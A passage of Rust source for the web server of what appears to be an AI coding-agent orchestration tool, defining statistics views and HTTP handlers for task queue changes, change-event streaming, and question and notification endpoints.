5655 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5656 solo_entered: a.solo_entered,
5657 solo_adopted: a.solo_adopted,
5658 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5659 }
5660 }
5661}
5662
5663#[derive(Debug, Serialize)]
5667struct ReviewerStatsView {
5668 agent: String,
5669 rounds: usize,
5670 seated: usize,
5671 submitted: usize,
5672 adopted: usize,
5673 unique: usize,
5674 timeouts: usize,
5675 adopted_per_round: Option<f64>,
5676 precision: Option<RateView>,
5677 unique_rate: Option<RateView>,
5678 timeout_rate: Option<RateView>,
5679}
5680
5681impl From<&stats::ReviewerStats> for ReviewerStatsView {
5682 fn from(r: &stats::ReviewerStats) -> Self {
5683 Self {
5684 agent: r.agent.clone(),
5685 rounds: r.rounds,
5686 seated: r.seated,
5687 submitted: r.submitted,
5688 adopted: r.adopted,
5689 unique: r.unique,
5690 timeouts: r.timeouts,
5691 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5692 precision: RateView::of(r.adopted, r.submitted),
5693 unique_rate: RateView::of(r.unique, r.submitted),
5694 timeout_rate: RateView::of(r.timeouts, r.seated),
5695 }
5696 }
5697}
5698
5699#[derive(Debug, Serialize)]
5705struct AdvisorStatsView {
5706 agent: String,
5707 seated: usize,
5708 proposed: usize,
5709 absent: usize,
5710 faint: usize,
5711 strong: usize,
5712 reflection_rate: Option<RateView>,
5713}
5714
5715impl From<&stats::AdvisorStats> for AdvisorStatsView {
5716 fn from(a: &stats::AdvisorStats) -> Self {
5717 Self {
5718 agent: a.agent.clone(),
5719 seated: a.seated,
5720 proposed: a.proposed,
5721 absent: a.absent,
5722 faint: a.faint,
5723 strong: a.strong,
5724 reflection_rate: RateView::of(a.strong, a.proposed),
5725 }
5726 }
5727}
5728
5729#[derive(Debug, Serialize)]
5731struct E2eStatsView {
5732 rounds: usize,
5733 failures: usize,
5734 sole_detections: usize,
5735 deferred: usize,
5736 sole_rate: Option<RateView>,
5737}
5738
5739impl From<&stats::E2eStats> for E2eStatsView {
5740 fn from(e: &stats::E2eStats) -> Self {
5741 Self {
5742 rounds: e.rounds,
5743 failures: e.failures,
5744 sole_detections: e.sole_detections,
5745 deferred: e.deferred,
5746 sole_rate: RateView::of(e.sole_detections, e.failures),
5747 }
5748 }
5749}
5750
5751#[derive(Debug, Serialize)]
5759struct ReleaseBumpStatsView {
5760 merged: usize,
5761 recorded: usize,
5762 pr_opened: usize,
5763 automerge_enabled: usize,
5764 merged_directly: usize,
5765 needs_attention: usize,
5766 clean: usize,
5767 coverage_rate: Option<RateView>,
5768 automerge_rate: Option<RateView>,
5769 attention_rate: Option<RateView>,
5770}
5771
5772impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5773 fn from(b: &stats::ReleaseBumpStats) -> Self {
5774 Self {
5775 merged: b.merged,
5776 recorded: b.recorded,
5777 pr_opened: b.pr_opened,
5778 automerge_enabled: b.automerge_enabled,
5779 merged_directly: b.merged_directly,
5780 needs_attention: b.needs_attention,
5781 clean: b.clean(),
5782 coverage_rate: RateView::of(b.recorded, b.merged),
5783 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5784 attention_rate: RateView::of(b.needs_attention, b.recorded),
5785 }
5786 }
5787}
5788
5789#[derive(Debug, Serialize)]
5791struct TaskCountsView {
5792 queued: usize,
5793 running: usize,
5794 done: usize,
5795 failed: usize,
5796 held: usize,
5797 blocked: usize,
5798 parked: usize,
5799}
5800
5801impl From<crate::queue::TaskCounts> for TaskCountsView {
5802 fn from(c: crate::queue::TaskCounts) -> Self {
5803 Self {
5804 queued: c.queued,
5805 running: c.running,
5806 done: c.done,
5807 failed: c.failed,
5808 held: c.held,
5809 blocked: c.blocked,
5810 parked: c.parked,
5811 }
5812 }
5813}
5814
5815#[derive(Debug, Serialize)]
5821struct RepoSummaryView {
5822 repo: String,
5825 name: String,
5827 runs: usize,
5828 completion_rate: Option<RateView>,
5829}
5830
5831impl From<&stats::RepoStats> for RepoSummaryView {
5832 fn from(r: &stats::RepoStats) -> Self {
5833 let t = &r.stats.totals;
5834 Self {
5835 repo: r.repo.to_string_lossy().into_owned(),
5836 name: r.name.clone(),
5837 runs: t.runs,
5838 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5839 }
5840 }
5841}
5842
5843#[derive(Debug, Serialize)]
5849struct StatsView {
5850 totals: StatsTotalsView,
5851 agents: Vec<AgentStatsView>,
5853 reviewers: Vec<ReviewerStatsView>,
5855 advisors: Vec<AdvisorStatsView>,
5857 e2e: E2eStatsView,
5858 release_bumps: ReleaseBumpStatsView,
5859 queue: TaskCountsView,
5860 runs_unreadable: usize,
5870 repos: Vec<RepoSummaryView>,
5874 daily: Vec<DailyStatsView>,
5879 repo: Option<String>,
5883 retired_hidden: Vec<String>,
5887}
5888
5889#[derive(Debug, Serialize)]
5891struct DailyStatsView {
5892 date: String,
5894 runs: usize,
5895 merged: usize,
5896 ready: usize,
5897 other: usize,
5898 completion_rate: Option<RateView>,
5900}
5901
5902impl From<&stats::DayBucket> for DailyStatsView {
5903 fn from(b: &stats::DayBucket) -> Self {
5904 Self {
5905 date: b.date.to_string(),
5906 runs: b.runs,
5907 merged: b.merged,
5908 ready: b.ready,
5909 other: b.other,
5910 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5911 }
5912 }
5913}
5914
5915const STATS_DAILY_DAYS: usize = 30;
5917
5918#[derive(Debug, Default, Deserialize)]
5927#[serde(default)]
5928struct StatsQuery {
5929 repo: Option<String>,
5930 all: bool,
5932}
5933
5934async fn stats_get(
5941 State(ui): State<Arc<Ui>>,
5942 Query(q): Query<StatsQuery>,
5943) -> ApiResult<Json<StatsView>> {
5944 blocking(move || {
5945 let states: Vec<RunState> = run_ids(&ui.runs)
5946 .into_iter()
5947 .filter_map(|id| read_run(&ui.runs, &id).ok())
5948 .collect();
5949 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5950 .iter()
5951 .map(RepoSummaryView::from)
5952 .collect();
5953 let mut scoped: Vec<&RunState> = states.iter().collect();
5954 let mut collected = match &q.repo {
5955 Some(repo) => {
5956 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5957 if filtered.is_empty() {
5958 return Err(ApiError::not_found(format!(
5959 "no runs recorded against repo `{repo}`"
5960 )));
5961 }
5962 scoped = filtered.clone();
5963 stats::collect_refs(filtered)
5964 }
5965 None => stats::collect(&states),
5966 };
5967 if !q.all {
5968 let repo = q
5969 .repo
5970 .as_deref()
5971 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5972 stats::retain_current_roster(&mut collected, &repo);
5973 }
5974 let daily = stats::daily(
5975 scoped,
5976 jiff::Zoned::now().date(),
5977 &jiff::tz::TimeZone::system(),
5978 STATS_DAILY_DAYS,
5979 );
5980 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5981 Ok(Json(StatsView {
5982 totals: StatsTotalsView::from(&collected.totals),
5983 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5984 reviewers: collected
5985 .reviewers
5986 .iter()
5987 .map(ReviewerStatsView::from)
5988 .collect(),
5989 advisors: collected
5990 .advisors
5991 .iter()
5992 .map(AdvisorStatsView::from)
5993 .collect(),
5994 e2e: E2eStatsView::from(&collected.e2e),
5995 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5996 queue: TaskCountsView::from(queue_counts),
5997 runs_unreadable: runs_unreadable(&ui.runs),
5998 repos,
5999 daily: daily.iter().map(DailyStatsView::from).collect(),
6000 repo: q.repo.clone(),
6001 retired_hidden: collected.retired_hidden.clone(),
6002 }))
6003 })
6004 .await
6005}
6006
6007#[derive(Debug, Default, Deserialize)]
6010#[serde(default, deny_unknown_fields)]
6011struct HoldBody {
6012 reason: Option<String>,
6013}
6014
6015async fn queue_hold(
6016 State(ui): State<Arc<Ui>>,
6017 Path(id): Path<String>,
6018 body: std::result::Result<Json<HoldBody>, JsonRejection>,
6019) -> ApiResult<Json<TaskView>> {
6020 let body = match body {
6024 Ok(Json(body)) => body,
6025 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6026 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6027 };
6028 let reason = body.reason.filter(|r| !r.trim().is_empty());
6029 mutate(ui, id, move |t| {
6030 t.hold_manual(reason.clone());
6031 Ok(())
6032 })
6033 .await
6034}
6035
6036async fn queue_release(
6037 State(ui): State<Arc<Ui>>,
6038 Path(id): Path<String>,
6039) -> ApiResult<Json<TaskView>> {
6040 mutate(ui, id, |t| {
6041 t.release_operator("web", None);
6042 Ok(())
6043 })
6044 .await
6045}
6046
6047#[derive(Debug, Deserialize)]
6048#[serde(deny_unknown_fields)]
6049struct AttemptLimitBody {
6050 attempt_limit: serde_json::Value,
6052}
6053
6054async fn queue_attempt_limit(
6055 State(ui): State<Arc<Ui>>,
6056 Path(id): Path<String>,
6057 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6058) -> ApiResult<Json<TaskView>> {
6059 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6060 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6061 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6062 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6063}
6064
6065#[derive(Debug, Deserialize)]
6066#[serde(deny_unknown_fields)]
6067struct ImplementersBody {
6068 implementers: u8,
6069}
6070
6071async fn queue_implementers(
6072 State(ui): State<Arc<Ui>>,
6073 Path(id): Path<String>,
6074 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6075) -> ApiResult<Json<TaskView>> {
6076 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6077 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6078}
6079
6080#[derive(Debug, Deserialize)]
6081#[serde(deny_unknown_fields)]
6082struct UrgentBody {
6083 urgent: bool,
6084}
6085
6086async fn queue_urgent(
6087 State(ui): State<Arc<Ui>>,
6088 Path(id): Path<String>,
6089 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6090) -> ApiResult<Json<TaskView>> {
6091 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6092 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6093}
6094
6095#[derive(Debug, Deserialize)]
6097#[serde(deny_unknown_fields)]
6098struct PriorityBody {
6099 priority: i32,
6100}
6101
6102async fn queue_priority(
6108 State(ui): State<Arc<Ui>>,
6109 Path(id): Path<String>,
6110 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6111) -> ApiResult<Json<TaskView>> {
6112 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6113 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6114}
6115
6116#[derive(Debug, Deserialize)]
6118#[serde(deny_unknown_fields)]
6119struct EditBody {
6120 title: String,
6121 instruction: String,
6122 #[serde(default)]
6125 force: bool,
6126}
6127
6128async fn queue_edit(
6132 State(ui): State<Arc<Ui>>,
6133 Path(id): Path<String>,
6134 body: std::result::Result<Json<EditBody>, JsonRejection>,
6135) -> ApiResult<Json<TaskView>> {
6136 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6137 let mut judged: Option<(String, PathBuf)> = None;
6141 if !body.force {
6142 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6143 let (id, text) = (id.clone(), body.instruction.clone());
6144 let (seen, hits) = blocking(move || {
6145 let id = resolve_task(&queue, &id)?;
6146 let t = queue.get(&id)?;
6147 if text == t.instruction {
6148 return Ok((None, Vec::new()));
6149 }
6150 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6151 Ok((Some((t.instruction, t.repo)), hits))
6152 })
6153 .await?;
6154 if let Some((_, repo)) = &seen {
6155 let cfg = crate::config::Config::discover(repo, None)
6156 .ok()
6157 .map(|(c, _)| c);
6158 let screened =
6159 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6160 .await
6161 .map_err(|dup| {
6162 ApiError::conflict(dup.render(
6163 "Nothing was saved. If it is not a duplicate, repeat the request \
6164 with \"force\": true.",
6165 ))
6166 })?;
6167 if let crate::dupes::Screened::Unjudged(why) = screened {
6168 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6169 }
6170 }
6171 judged = seen;
6172 }
6173 let force = body.force;
6174 mutate(ui, id, move |t| {
6175 if !force && body.instruction != t.instruction {
6176 match &judged {
6177 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6178 _ => {
6179 anyhow::bail!("the task changed while it was being checked; repeat the request")
6180 }
6181 }
6182 }
6183 t.edit(body.title.clone(), body.instruction.clone())
6184 })
6185 .await
6186}
6187
6188async fn queue_done(
6196 State(ui): State<Arc<Ui>>,
6197 Path(id): Path<String>,
6198) -> ApiResult<Json<TaskView>> {
6199 let home = ui.home.clone();
6200 mutate(ui, id, move |t| {
6201 t.succeed();
6202 crate::daemon::supersede_prior_runs(t, &home);
6210 Ok(())
6211 })
6212 .await
6213}
6214
6215async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6223 blocking(move || {
6224 let id = resolve_task(&ui.queue, &id)?;
6225 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6226 ui.queue
6227 .remove(&id, in_flight, &ui.questions)
6228 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6229 Ok(StatusCode::NO_CONTENT)
6230 })
6231 .await
6232}
6233
6234async fn mutate(
6243 ui: Arc<Ui>,
6244 id: String,
6245 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6246) -> ApiResult<Json<TaskView>> {
6247 blocking(move || {
6248 let id = resolve_task(&ui.queue, &id)?;
6249 let _claim = ui.queue.claim(&id).map_err(|e| {
6254 ApiError::conflict(format!(
6255 "{e:#} - a daemon is running this task, so it cannot be \
6256 changed from here yet; wait until it is released, then retry"
6257 ))
6258 })?;
6259 let mut task = ui.queue.get(&id)?;
6260 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6261 Ok(dup) => ApiError::conflict(dup.render(
6262 "Nothing was saved. If it is not a duplicate, repeat the request with \
6263 \"force\": true.",
6264 )),
6265 Err(e) => ApiError::bad_request_from(e),
6266 })?;
6267 ui.queue.put(&mut task)?;
6268 Ok(Json(TaskView::from(task)))
6269 })
6270 .await
6271}
6272
6273async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6281 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6282 tokio::spawn(async move {
6283 let mut ticker = tokio::time::interval(POLL);
6284 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6285 let mut stamps: Option<[Stamps; 3]> = None;
6286 loop {
6287 ticker.tick().await;
6290 let state = Arc::clone(&ui);
6291 let revisions = tokio::task::spawn_blocking(move || {
6292 let stamps = [
6293 store_stamps(state.queue.root(), false),
6294 store_stamps(&state.runs, true),
6295 store_stamps(state.talks.root(), false),
6296 ];
6297 let revisions = (
6298 stamps_revision(&stamps[0]),
6299 stamps_revision(&stamps[1]),
6300 state.questions.revision(),
6301 stamps_revision(&stamps[2]),
6302 state.notices.revision(),
6303 state.lock_loop().rev,
6307 );
6308 (revisions, stamps)
6309 })
6310 .await;
6311 let Ok((revisions, next_stamps)) = revisions else {
6312 break;
6313 };
6314 if last == Some(revisions) {
6315 continue;
6316 }
6317 let mut payload = serde_json::json!({
6318 "queue_rev": revisions.0,
6319 "runs_rev": revisions.1,
6320 "questions_rev": revisions.2,
6321 "talks_rev": revisions.3,
6322 "notifications_rev": revisions.4,
6323 "loop_rev": revisions.5,
6324 });
6325 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6326 for (index, (key, rev)) in [
6327 ("queue_delta", base.0),
6328 ("runs_delta", base.1),
6329 ("talks_delta", base.3),
6330 ]
6331 .into_iter()
6332 .enumerate()
6333 {
6334 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6335 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6337 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6338 }
6339 }
6340 }
6341 last = Some(revisions);
6342 stamps = Some(next_stamps);
6343 let Ok(event) = Event::default().event("change").json_data(payload) else {
6345 break;
6346 };
6347 if tx.send(event).await.is_err() {
6348 break;
6349 }
6350 }
6351 });
6352 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6353 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6354}
6355
6356type Stamps = HashMap<String, (u128, u64)>;
6357
6358fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6360 std::fs::read_dir(root)
6361 .into_iter()
6362 .flatten()
6363 .flatten()
6364 .filter_map(|entry| {
6365 let path = if runs {
6366 entry.path().join("run.json")
6367 } else {
6368 entry.path()
6369 };
6370 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6371 return None;
6372 }
6373 let metadata = path.metadata().ok()?;
6374 let modified = metadata
6375 .modified()
6376 .ok()?
6377 .duration_since(std::time::UNIX_EPOCH)
6378 .ok()?;
6379 let id = if runs {
6380 entry.file_name().to_string_lossy().into_owned()
6381 } else {
6382 path.file_stem()?.to_string_lossy().into_owned()
6383 };
6384 Some((id, (modified.as_nanos(), metadata.len())))
6385 })
6386 .collect()
6387}
6388
6389#[derive(Debug, Serialize)]
6390struct Delta {
6391 base: u64,
6392 changed: Vec<String>,
6393 removed: Vec<String>,
6394}
6395
6396fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6397 let mut changed: Vec<_> = next
6398 .iter()
6399 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6400 .map(|(id, _)| id.clone())
6401 .collect();
6402 let mut removed: Vec<_> = previous
6403 .keys()
6404 .filter(|id| !next.contains_key(*id))
6405 .cloned()
6406 .collect();
6407 changed.sort_unstable();
6408 removed.sort_unstable();
6409 Delta {
6410 base,
6411 changed,
6412 removed,
6413 }
6414}
6415
6416fn runs_revision(runs: &FsPath) -> u64 {
6423 stamps_revision(&store_stamps(runs, true))
6424}
6425
6426fn stamps_revision(stamps: &Stamps) -> u64 {
6430 use std::hash::{Hash as _, Hasher as _};
6431 if stamps.is_empty() {
6432 return 0;
6433 }
6434 let mut entries: Vec<_> = stamps.iter().collect();
6435 entries.sort_unstable();
6436 let mut hasher = std::hash::DefaultHasher::new();
6437 entries.hash(&mut hasher);
6438 hasher.finish().max(1)
6439}
6440
6441fn run_ids(runs: &FsPath) -> Vec<String> {
6447 let mut ids: Vec<String> = std::fs::read_dir(runs)
6448 .into_iter()
6449 .flatten()
6450 .flatten()
6451 .filter(|e| e.path().join("run.json").is_file())
6452 .map(|e| e.file_name().to_string_lossy().into_owned())
6453 .collect();
6454 ids.sort_unstable_by(|a, b| b.cmp(a));
6456 ids
6457}
6458
6459fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6461 let path = runs.join(id).join("run.json");
6462 let body =
6463 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6464 let state: RunState =
6465 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6466 run::migrate_schema(state)
6471}
6472
6473#[must_use]
6481pub fn runs_unreadable(runs: &FsPath) -> usize {
6482 run_ids(runs)
6483 .into_iter()
6484 .filter(|id| read_run(runs, id).is_err())
6485 .count()
6486}
6487
6488fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6490 if runs.join(id).join("run.json").is_file() {
6491 return Ok(id.to_owned());
6492 }
6493 pick(run_ids(runs), id, "run")
6494}
6495
6496fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6498 if queue.path_of(id).is_file() {
6499 return Ok(id.to_owned());
6500 }
6501 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6502}
6503
6504#[derive(Debug, Serialize)]
6515struct QuestionView {
6516 #[serde(flatten)]
6517 question: Question,
6518 detail_md: Vec<md::Node>,
6519 posting_view: Option<PostingView>,
6520 thread_bodies_md: Vec<Vec<md::Node>>,
6522 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6525 waiting_on_agent: bool,
6535 holder: Option<&'static str>,
6539 deputies_enabled: bool,
6543 deputy_exhausted: bool,
6546 text_delivery: crate::question_delivery::Availability,
6547 run_is_task: bool,
6550 origin_chat: Option<String>,
6553 origin_chat_closed: bool,
6555 can_consult_chat: bool,
6557}
6558
6559#[derive(Debug, Serialize)]
6560struct PostingView {
6561 before_md: Vec<md::Node>,
6562 after_md: Vec<md::Node>,
6563 fields: Vec<crate::github_text::ComparisonView>,
6564}
6565
6566fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6567 let comparison = question.posting_comparison.as_ref()?;
6568 if !comparison.matches_detail(&question.detail) {
6569 return None;
6570 }
6571 let mut ids = std::collections::BTreeSet::new();
6572 if comparison.fields.is_empty()
6573 || comparison
6574 .fields
6575 .iter()
6576 .flat_map(|f| &f.pairs)
6577 .any(|p| !ids.insert(p.id))
6578 || comparison
6579 .fields
6580 .iter()
6581 .flat_map(|f| &f.original_triggers)
6582 .any(|t| !ids.insert(t.id))
6583 {
6584 return None;
6585 }
6586 let fields = comparison
6587 .fields
6588 .iter()
6589 .map(|f| f.view(comparison.excerpt))
6590 .collect::<Option<Vec<_>>>()?;
6591 Some(PostingView {
6592 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6593 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6594 fields,
6595 })
6596}
6597
6598impl QuestionView {
6599 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6603 let base = md::ImageBase::QuestionPanel {
6604 id: question.id.clone(),
6605 };
6606 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6607 Self {
6608 detail_md: md::to_nodes(&question.detail, &base),
6609 posting_view: posting_view(&question, &base),
6610 thread_bodies_md: question
6611 .thread
6612 .iter()
6613 .map(|t| md::to_nodes(&t.body, &base))
6614 .collect(),
6615 thread_notes_md: question
6616 .thread
6617 .iter()
6618 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6619 .collect(),
6620 deputy_exhausted: store.deputy_exhausted(&question),
6621 waiting_on_agent: question.waiting_on_agent(),
6622 holder,
6623 deputies_enabled: deputies_enabled(cfg, &question),
6624 text_delivery: crate::question_delivery::availability(store, &question, cfg),
6625 run_is_task: question.run_names_task(),
6626 origin_chat: None,
6627 origin_chat_closed: false,
6628 can_consult_chat: false,
6629 question,
6630 }
6631 }
6632
6633 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6635 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6636 self.can_consult_chat = consult.is_some();
6637 let talk =
6638 consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6639 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6640 self.origin_chat = talk.map(|t| t.id);
6641 self
6642 }
6643}
6644
6645fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6649 Config::discover(repo, None).ok().map(|(c, _)| c)
6650}
6651
6652fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6654 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6655}
6656
6657fn question_views(
6660 qs: Vec<Question>,
6661 store: &ask::Questions,
6662 load: impl FnOnce() -> Option<Config>,
6663) -> Vec<QuestionView> {
6664 if qs.is_empty() {
6665 return Vec::new();
6666 }
6667 let cfg = load();
6668 qs.into_iter()
6669 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
6670 .collect()
6671}
6672
6673fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6683 if !q.status.open() {
6684 return None;
6685 }
6686 if q.cwd.is_none()
6687 && q.deputy.is_none()
6688 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
6689 {
6690 return crate::deputy::kind_of(q).map(|_| "nobody");
6691 }
6692 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6693 Some(_) if q.deputy.is_some() => "deputy",
6694 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6695 Some(_) => "asker",
6696 None => "nobody",
6697 })
6698}
6699
6700async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6706 blocking(move || {
6707 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6708 Ok(Json(
6709 question_views(ui.questions.list(), &ui.questions, || {
6710 deputy_config(&ui.repo)
6711 })
6712 .into_iter()
6713 .map(|v| v.with_origin(&tasks, &talks))
6714 .collect(),
6715 ))
6716 })
6717 .await
6718}
6719
6720async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6723 blocking(move || {
6724 let items = ui.notices.list();
6725 let unread = items.iter().filter(|n| n.unread()).count();
6726 let items: Vec<_> = items
6727 .into_iter()
6728 .map(|n| {
6729 let question = crate::notices::answerable_question(&n, &ui.questions);
6730 let mut item = serde_json::to_value(n)?;
6731 item["answerable_question"] = serde_json::json!(question);
6732 Ok(item)
6733 })
6734 .collect::<anyhow::Result<_>>()?;
6735 Ok(Json(
6736 serde_json::json!({ "unread": unread, "items": items }),
6737 ))
6738 })
6739 .await
6740}
6741
6742fn notice_error(e: anyhow::Error) -> ApiError {
6743 ApiError::not_found(format!("{e:#}"))
6746}
6747
6748async fn notification_read(
6750 State(ui): State<Arc<Ui>>,
6751 Path(id): Path<String>,
6752) -> ApiResult<Json<Notice>> {
6753 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6754}
6755
6756async fn notification_dismiss(
6758 State(ui): State<Arc<Ui>>,
6759 Path(id): Path<String>,
6760) -> ApiResult<Json<Notice>> {
6761 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6762}
6763
6764async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6766 blocking(move || {
6767 let changed = ui.notices.mark_all_read()?;
6768 Ok(Json(serde_json::json!({ "marked": changed })))
6769 })
6770 .await
6771}
6772
6773#[derive(Debug, Default, Deserialize)]
6779#[serde(default, deny_unknown_fields)]
6780struct NewAnswer {
6781 choice: Option<String>,
6782 text: Option<String>,
6783}
6784
6785async fn question_answer(
6786 State(ui): State<Arc<Ui>>,
6787 Path(id): Path<String>,
6788 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6789) -> ApiResult<Json<QuestionView>> {
6790 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6791 let answer = match (body.choice, body.text) {
6792 (Some(c), None) => Answer::Choice(c),
6793 (None, Some(t)) => Answer::Text(t),
6794 (Some(_), Some(_)) => {
6795 return Err(ApiError::bad_request(
6796 "send either `choice` or `text`, not both",
6797 ));
6798 }
6799 (None, None) => {
6800 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6801 }
6802 };
6803
6804 blocking(move || {
6805 let id = resolve_question(&ui.questions, &id)?;
6806 let q = ui
6807 .questions
6808 .get(&id)
6809 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6810 if !q.status.open() {
6811 return Err(ApiError::conflict(format!(
6815 "question {} is already {}",
6816 q.short(),
6817 q.status.as_str()
6818 )));
6819 }
6820 let cfg = deputy_config(&ui.repo);
6824 let (q, ()) = ui
6825 .questions
6826 .update(&q.id, |r| r.answer(answer))
6827 .map_err(ApiError::bad_request_from)?;
6828 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6829 Ok(Json(
6830 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6831 ))
6832 })
6833 .await
6834}
6835
6836fn question_text_error(e: anyhow::Error) -> ApiError {
6838 let reason = e
6839 .downcast_ref::<crate::question_delivery::TextUnavailable>()
6840 .map(|e| e.reason);
6841 let error = ApiError::bad_request_from(e);
6842 if let Some(reason) = reason {
6843 ApiError {
6844 text_reason: Some(reason),
6845 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
6846 }
6847 } else {
6848 error
6849 }
6850}
6851
6852#[derive(Debug, Deserialize)]
6854#[serde(deny_unknown_fields)]
6855struct NewSay {
6856 body: String,
6857}
6858
6859async fn question_say(
6869 State(ui): State<Arc<Ui>>,
6870 Path(id): Path<String>,
6871 body: std::result::Result<Json<NewSay>, JsonRejection>,
6872) -> ApiResult<Json<QuestionView>> {
6873 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6874 blocking(move || {
6875 let id = resolve_question(&ui.questions, &id)?;
6876 let q = ui
6877 .questions
6878 .get(&id)
6879 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6880 if !q.status.open() {
6881 return Err(ApiError::conflict(format!(
6885 "question {} is already {}",
6886 q.short(),
6887 q.status.as_str()
6888 )));
6889 }
6890 let cfg = deputy_config(&ui.repo);
6893 let (q, ()) = ui
6894 .questions
6895 .update(&q.id, |r| {
6896 if body.body.trim().is_empty() {
6897 return r.say(body.body);
6898 }
6899 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
6900 r.say(body.body)
6901 })
6902 .map_err(question_text_error)?;
6903 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6904 Ok(Json(
6905 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6906 ))
6907 })
6908 .await
6909}
6910
6911async fn question_consult(
6920 State(ui): State<Arc<Ui>>,
6921 Path(id): Path<String>,
